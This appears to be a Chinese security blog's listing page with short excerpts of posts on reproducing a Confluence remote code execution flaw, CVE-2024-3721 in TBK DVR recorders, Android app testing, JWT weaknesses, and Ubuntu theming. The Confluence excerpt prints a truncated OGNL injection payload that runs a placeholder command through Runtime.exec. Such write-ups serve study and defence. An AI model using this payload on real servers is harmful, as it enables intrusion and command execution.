漏洞复现 – confluence 远程代码执行
/${(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec('COMMAND').getInputStream(),'utf-8')).(@com.opensymphony.webwork.ServletActionContext@getRespons...
ubuntu美化
参考： zhuanlan.zhihu.com/p/176977192 b 站： 一：更新源 sudo apt-get update sudo apt-get upgrade 二：下载 执行：sudo apt install gnome-tweaks chrome-gnome-shell 执行：apt install g...
漏洞复现-CVE-2024-3721
一：漏洞名称 TBK DVR硬盘录像机 device.rsp 命令执行漏洞 二：漏洞描述 TBK DVR硬盘录像机是专业的视频监控设备，支持高清录制、远程监控和智能分析等功能，为各种场...
安卓应用测试
一、安卓生态简介 Android 是一种基于 Linux 的自由及开放源代码的操作系统 , 主要使用于移动设备, 如智能手机和平板电脑 , 由 Google 公司和开放手机联盟领导及开发。安卓的安全机制大概措施如...
JWT 漏洞
JWT 漏洞 在用户注册或登录后，我们想记录用户的登录状态，或者为用户创建身份认证的凭证。我们不再使用 Session 认证机制，而使用 Json Web Token 认证机制。 1 什么是 JWT Json web token (...